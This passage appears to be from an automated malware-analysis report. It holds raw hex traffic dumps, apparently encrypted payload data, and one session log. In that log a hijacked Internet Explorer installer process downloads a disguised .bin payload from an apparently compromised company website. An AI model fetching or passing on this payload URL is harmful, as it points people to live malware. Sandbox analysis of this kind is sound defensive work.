                            2022-01-21 16:21:01 UTC208INData Raw: de 46 b7 df 00 e3 5e 78 5b f5 c2 9a af 43 b2 97 08 ce 04 95 2e b5 a5 52 22 e9 1b a4 49 0f fd 8e 97 96 a3 bc 7c 85 15 e3 8e 73 2a 5c 94 8a 46 5e cb 81 23 ee 9c 33 25 d8 4e 9c 22 7f 56 93 83 5d 7c 42 cb 23 fe e8 46 48 ff e4 a5 9d 3d 97 9a cd fe b8 8d b9 c6 5c df 8b 35 39 7b 15 01 eb 0d 68 a6 e5 93 62 cc 1b c0 9c 83 cf 97 d9 a8 76 04 3a 94 0f b8 dc 48 e5 e5 72 22 4d c1 d5 88 fa 12 30 58 9d a5 31 1d 2c 32 e7 61 b6 a5 35 8c 03 a8 50 f4 1d 16 8f ad 7c 78 07 68 d9 75 d9 e6 fe 0d ac 5b a6 1d f8 68 84 e6 50 b5 69 81 ec 74 81 34 6d d7 0f 82 79 35 a9 95 71 80 83 cc 3c 48 12 25 83 83 26 f9 7b f6 62 39 39 47 16 c6 83 8b b6 ac ab ef 38 41 08 f3 02 5b d8 bd 62 42 bd da 48 52 f2 6d 46 de bd 69 08 0b ba 6a af f5 4f d7 73 b4 a4 c3 8d fd 7d 3c c7 73 4b ae a5 31 b6 b8 c2 d2
                            Data Ascii: F^x[C.R"I|s*\F^#3%N"V]|B#FH=\59{hbv:Hr"M0X1,2a5P|xhu[hPit4my5q<H%&{b99G8A[bBHRmFijOs}<sK1
                            2022-01-21 16:21:01 UTC224INData Raw: 9d d3 cb 37 3c 77 50 33 24 1e e7 12 c7 a4 9b 03 09 65 b7 a1 5b 45 40 5b 95 51 90 57 21 81 16 cb 40 58 76 08 53 07 85 71 9a 71 1b e9 23 ff 96 f3 fb a6 9e 89 59 db 69 d9 68 d6 90 f5 03 57 53 54 9b ce c7 4a d0 87 fe d8 83 3a 52 3f 1d 89 77 e9 68 41 0b 13 93 e5 8c e6 75 f5 7a c0 5b 09 ba 17 a4 3e 24 06 63 4d a6 dd 3c 62 98 b9 17 cb 79 3e 74 91 0e 3d 7d 88 b3 e6 14 ee 00 37 d2 61 e1 2c 0c 02 66 90 fc 9d 13 85 1a 88 9c 7c 72 ff ac 9f c8 d5 b3 32 da 31 e1 c0 d6 ab 4d c1 e0 69 a4 40 ea 24 bd b2 bd 9e 1c 65 cb a9 9c 5f 3c a7 b6 88 07 c5 29 57 9a f5 c1 58 44 0b 3e 22 c6 ed 95 77 a4 84 18 f9 bc 4c ec d2 a6 9b 84 3d 92 3c ff 66 f2 3a 60 1e ec 07 6d 06 7d 32 94 a6 3a 32 a1 ec 22 32 c8 d1 31 58 27 d6 86 fb 4c 32 f3 84 63 8c 18 7f 16 66 ca 3e 13 1f 11 76 56 07 c8 3d a7
                            Data Ascii: 7<wP3$e[E@[QW!@XvSqq#YihWSTJ:R?whAuz[>$cM<by>t=}7a,f|r21Mi@$e_<)WXD>"wL=<f:`m}2:2"21X'L2cf>vV=
                            2022-01-21 16:21:01 UTC240INData Raw: 6e 08 8b c0 ae ac 43 23 0b b6 8a 54 6c f9 bf ac ad 18 f5 79 e8 7c 5e 83 75 5b 19 54 94 6f ab 1e 72 e5 cc c9 c4 09 2f f2 5b 55 80 7e 4c 17 78 cf 55 0b a8 1e b3 0f 9a 8d 20 cf 22 8f 23 49 08 78 2e 9e ab 8c 65 ff 39 8f bc 1b 78 1e 42 a4 b2 5a ae 1a 63 8b f1 3f 49 fa 1c a2 7e cb 5c 4b b7 61 9a 9b a9 48 61 65 91 f0 2e 8d fe 39 60 f5 e2 b4 e6 52 b3 7f 01 06 10 8b 06 55 c2 83 5c df f8 69 6d 8a 08 2a 4f 3d b5 a6 d0 d0 83 ca 11 fc 8f 34 f3 2c f5 ce af 62 42 91 e9 bc 0a c6 d3 88 52 87 88 97 d7 8f d3 fd 42 30 5c 94 69 30 59 bc 80 12 1d 2e a6 f8 79 38 29 03 fd 79 20 7f d6 ba a6 5d 6e d7 81 79 0c 95 21 5f 8f a0 a3 5c ff 0f d1 9b 7e c8 be 90 12 43 c9 07 57 ca df 76 30 4f d6 53 32 24 3e 77 50 be 72 28 79 bc 81 fe 05 d6 c7 57 e0 17 af 3d 72 3c 39 63 22 21 f4 2a b6 98 69
                            Data Ascii: nC#Tly|^u[Tor/[U~LxU "#Ix.e9xBZc?I~\KaHae.9`RU\im*O=4,bBRB0\i0Y.y8)y ]ny!_\~CWv0OS2$>wPr(yW=r<9c"!*i
                            2022-01-21 16:21:01 UTC256INData Raw: d2 d0 40 9b b3 b1 e7 7f 35 c3 c7 04 ed 93 3d 34 87 c0 4c d5 06 9f 77 80 73 16 c9 f4 31 c6 41 b0 73 cf 8c 34 22 7e b8 c2 38 c5 78 02 4c 06 fb db a2 eb 1e 45 2e d4 0d b1 da 74 77 50 92 0b 79 13 01 e0 70 67 dd 35 a0 75 4a e9 49 53 17 7b d7 38 08 6c 2b f6 84 f1 0c 62 5d 82 ed 68 e1 c3 3c 5b ef 4a f6 bd 31 33 c5 a3 66 d3 9a ba cc 4d 51 c7 85 af 31 fb 2c b4 0f 09 7e 96 2d a9 5c 1a 95 3d 72 65 57 4e 31 24 ab 16 ec 38 e6 5b 61 0c 0f b0 10 a7 87 d5 a5 7e 8c 6f bc 0b 66 43 2f cd bb d4 ff 53 38 76 6f dd 12 82 b0 d6 a8 5b 0d 0c 70 f4 63 8f a9 1a a4 df ab 0e 86 33 a7 af 77 64 ff fe 5e 38 2a 80 71 70 34 94 70 7b db ea 89 25 c0 fc 4a 62 32 b8 7a 25 14 78 fe 86 4d 9f 5f 0c c0 ba e0 57 04 9e 40 88 1c 01 db 1c a0 32 bd 60 7a 41 25 8e ce bb 8c d0 76 ae 4b 13 d9 de 39 77 e7
                            Data Ascii: @5=4Lws1As4"~8xLE.twPypg5uJIS{8l+b]h<[J13fMQ1,~-\=reWN1$8[a~ofC/S8vo[pc3wd^8*qp4p{%Jb2z%xM_W@2`zA%vK9w
                            2022-01-21 16:21:02 UTC272INData Raw: 57 a8 a6 b2 65 9a 03 f1 76 a0 84 12 ba 87 46 e4 e7 5d ef 4c 48 29 61 27 a0 6c 8b b1 e6 20 64 95 34 ce c7 10 f7 84 10 32 fc 3d 16 c2 9a a0 e2 28 73 80 f9 f8 52 7d 3b 49 d8 f4 d7 14 83 a7 e5 13 05 13 73 ff 86 db 77 04 2a cf 05 c9 26 ce fb 90 50 0a f4 5a 76 29 b7 6b 76 f5 0f 61 e8 25 6a 9e e4 b6 5f 98 00 73 f0 e3 bc 3c 31 9d a6 1f 2b 88 79 9e 69 48 d9 b5 b6 e4 50 27 5f 49 a8 dc d8 50 6c 75 bb bc 56 1f b6 b4 51 52 0b e7 75 3a b3 a9 a7 77 8f 5d 6a 66 91 70 c9 09 72 6e ac 9d 1c d2 a7 02 f5 de 08 d5 db c5 2e 5e 55 92 cc 7d 6c f6 f1 00 9a 7f 26 d0 b4 3c 49 c8 5d 45 3b c2 55 e1 84 6b 7b b1 89 f2 c0 21 d2 49 d7 98 ac 10 de 0f 5c ef 9e 32 71 c3 f7 f5 1c 27 72 b9 61 27 c5 12 b1 1b be 1a a1 79 6f e5 21 4d c2 78 e7 be 9a 25 a1 22 74 e5 7f 85 da c2 38 2b 95 c3 38 63 00
                            Data Ascii: WevF]LH)a'l d42=(sR};Isw*&PZv)kva%j_s<1+yiHP'_IPluVQRu:w]jfprn.^U}l&<I]E;Uk{!I\2q'ra'yo!Mx%"t8+8c
                            2022-01-21 16:21:02 UTC288INData Raw: e2 e4 84 bf 8a b9 13 f4 ac d7 37 cc e3 a7 29 f5 3d 2c 6c 04 bb 8e bb c3 44 c2 76 8e 2c 79 51 bd d4 a2 09 b6 dd 68 69 5a 48 92 f0 7c 98 d0 d2 be 35 41 4a f6 c9 84 40 4e 06 c7 13 ab 23 76 ca c6 b5 16 03 72 52 dd ca 4b 82 3c 72 3e 6e 9b 4f 65 52 7a a4 27 e1 77 e8 84 93 fe f8 a9 ce 41 55 28 9e cd 05 70 b1 e4 72 c2 5e c8 3f c0 b7 3f 8c 3f f4 69 28 98 57 f4 6e 89 8b d8 35 b0 bd d2 2f bc 02 a3 e4 b7 fa f5 88 54 be 37 f7 3a 34 c6 96 4c aa 86 60 88 80 73 98 da f0 e7 bf b8 a2 f8 8a 01 7f ad f4 4c b3 db 33 6d ca c2 02 72 ec ec 23 b9 c9 a0 a1 fe 1c d8 15 a9 fd ba cf ff 87 52 6b 80 3f 07 f8 5f 4d 4f b5 59 d8 d0 ce ad 09 50 40 3d ca d8 0e 03 e7 e7 30 ee c8 48 28 78 45 ff f1 40 41 f5 70 2f 7c bb c4 a3 c0 4d b4 2b f8 0e 98 54 6e d6 5d 76 f6 14 cb 8a fa d8 3c d1 3d 70 42
                            Data Ascii: 7)=,lDv,yQhiZH|5AJ@N#vrRK<r>nOeRz'wAU(pr^???i(Wn5/T7:4L`sL3mr#Rk?_MOYP@=0H(xE@Ap/|M+Tn]v<=pB
                            2022-01-21 16:21:02 UTC304INData Raw: c1 b2 95 9f 4c 0c b1 cb 9f 48 84 59 78 11 1f 01 af 13 c7 c0 e9 c9 97 cd 65 9f fd b3 a1 d4 73 c8 1f b0 7d 69 4b 56 5b 2a 56 2c fb 84 64 04 cb 5f a4 89 f6 a8 af 53 b9 ea f0 66 a9 41 00 c2 e4 fa 1a 30 56 ce 50 09 3a 3d 9f e7 f5 d8 e6 c7 0a 87 91 ba ea 6b ec ea d2 93 4d 80 52 96 18 45 ce 52 f8 d2 69 73 b0 84 61 82 c6 4a 18 90 e7 ea 94 bb 57 6c 63 b5 e6 96 7a 73 37 68 4a 82 f9 39 a4 25 c2 c6 d1 32 f1 98 5f 74 16 e8 09 74 1d 81 d4 19 86 99 e7 91 c6 e5 31 51 24 fe 8e c9 ac bc cf f4 53 08 76 f4 85 56 d6 23 9c b8 0e 4b 2f d4 92 19 8c 44 f6 f6 75 ec f4 f3 27 83 b1 e7 f9 22 dc 77 fb 0b 5a 40 bc 29 24 00 2f ed 48 ad 19 9e 15 81 b9 89 17 88 e2 cd f3 0c 02 99 21 65 29 82 7a 01 19 18 d5 07 9c c9 91 67 85 52 f8 b2 2f f9 5e 65 79 31 b9 0d 2d dd bb 78 b6 f8 dc 28 8b db c0
                            Data Ascii: LHYxes}iKV[*V,d_SfA0VP:=kMRERisaJWlczs7hJ9%2_tt1Q$SvV#K/Du'"wZ@)$/H!e)zgR/^ey1-x(
                            2022-01-21 16:21:02 UTC320INData Raw: a7 c4 f1 70 9a 2b 8a bd 13 7a 0c 21 8a a5 ec 52 e2 85 5c d7 ab 37 5a 76 62 1b cc 7b e0 9c 90 ce 37 ff 7a dc e6 20 eb 30 2c bc c9 d3 0e 58 b1 2a ae cc ed 62 0d 2b 06 f5 bd c7 52 7e 5d 17 b4 18 38 eb 30 a2 16 5e ac d8 b8 f6 61 31 0d ab b8 b1 89 35 39 dd 9b 38 bd 01 37 45 3c f6 8d f9 58 26 5e 73 8d 7c 8e 77 8b 6f f5 52 24 1a 2f 84 cc 1c 83 90 4d c1 5f 7f f4 2b c8 0b b6 d3 cd f5 46 79 56 75 e0 18 87 3e a1 15 d8 e9 80 83 f6 3b 2d bc 4c 00 88 f3 ad e6 54 79 ab da 79 f4 2e f7 dc 50 4d 3e 14 61 ee 4f 89 86 52 d3 89 7b 14 bc d4 65 f7 4b 8f 4a f7 f2 27 7b 9b 4c 2f ca ad 6c ce de a2 78 64 35 31 01 41 d8 a4 9d 27 6d f8 a2 e8 ae 25 4d 2b 65 5b 25 a7 99 6a a2 67 cf 4b d9 fc 82 88 23 30 35 be fc b7 36 a7 33 dc 25 48 60 aa 94 b4 51 5a c1 75 ce a7 2d be 69 f1 5a c9 af 3e
                            Data Ascii: p+z!R\7Zvb{7z 0,X*b+R~]80^a15987E<X&^s|woR$/M_+FyVu>;-LTyy.PM>aOR{eKJ'{L/lxd51A'm%M+e[%jgK#0563%H`QZu-iZ>
                            2022-01-21 16:21:02 UTC336INData Raw: 32 cc 7b 1a 7d 71 26 9b 95 09 65 b7 e9 23 eb bf d9 16 99 6f 0c 02 49 40 b9 13 d3 2b c0 99 b9 7a 09 de fa 19 b2 60 12 97 07 f3 25 7f 6b 90 67 6f c5 5c 55 ee 05 4a 67 59 72 73 b9 15 42 9a 9b 73 8f 8f b1 54 24 11 c8 02 62 eb 3f 03 2b ad b7 cc e3 73 7e 78 51 f9 40 45 9c 0c 3f af 68 5d 04 9e c8 48 68 d8 44 5b 0d b1 47 9f 85 86 ad c8 8b bb 0b e3 b6 f0 8e 9a 17 21 72 fc 0b 64 2f 00 1b 48 fe 44 d5 5f de 34 d2 64 05 8e d5 5b 93 ec 8b 1e d1 16 20 38 c5 2e da ab aa 2a a1 7d db e3 33 d4 10 34 56 5b 6b 61 e2 b6 03 ef 51 c3 ec 2e 33 09 2d af 26 bd 3b 69 57 c3 88 d9 7d e7 66 ae 8a 89 36 a6 cd 7b c8 d1 91 35 87 0d c5 39 d3 2c ba e4 09 99 f5 d1 fe 8f 88 5e 97 ca 3c c8 15 7a 96 e0 b6 bc 87 b3 19 7b 4a 16 e1 f7 66 80 55 51 11 ca 86 8f 42 fc e0 4e 48 42 ce 7c 7f 5e 25 bc 33
                            Data Ascii: 2{}q&e#oI@+z`%kgo\UJgYrsBsT$b?+s~xQ@E?h]HhD[G!rd/HD_4d[ 8.*}34V[kaQ.3-&;iW}f6{59,^<z{JfUQBNHB|^%3
                            2022-01-21 16:21:02 UTC352INData Raw: 10 5a 78 18 51 bc 27 c2 ff 69 d7 29 ea c6 24 e6 b2 77 ae 05 7a a1 eb 26 90 a8 95 75 03 d8 71 84 46 b8 20 fd 1b 7f e4 86 30 3f 4d 0d 71 00 bd 67 29 72 67 3d 58 7d dd ce 18 9b f9 01 44 3d 34 66 f4 9f ac d2 45 34 ed 0d 76 ed 47 e6 e8 eb 74 3d 3f 29 27 84 bf c4 ea 6c 7a ed d3 b5 fc 6d 15 e3 6f 0e f8 85 c7 bb f3 8b 99 bc 11 c5 c7 44 20 69 5b a9 80 ef b6 f1 7f 9d 3c 19 e3 76 60 73 37 82 87 bb 6e a6 72 55 d1 8c 9a 90 ad 3a 73 6f da a1 fc e8 07 e8 a8 4e 62 c1 e9 f7 cb 28 4d b6 56 23 4f 4a 2f de 38 a8 ec a4 00 e7 c4 cb 9a 45 8a 63 a4 2d 77 11 b3 1c 9e 02 10 30 18 c6 02 39 40 2a 0b fa ea 81 c4 9f ea 9f 96 93 dd 83 e5 4f 83 d8 2a bd d7 a3 a8 7a 08 73 42 a3 80 ef f1 5e eb c3 fb 32 38 57 b3 54 34 38 ce ef c5 00 19 3b 12 a2 3e 2a 36 63 fc 75 ca fb f1 9f 7f cf 2e 20 a8
                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:21:02 UTC368INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:21:02 UTC384INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:21:02 UTC400INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:21:02 UTC416INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:21:02 UTC432INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:21:02 UTC448INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            1192.168.2.34975852.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:22:58 UTC463OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:22:58 UTC463INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:22:58 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:22:59 UTC463INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:22:59 UTC479INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:22:59 UTC495INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
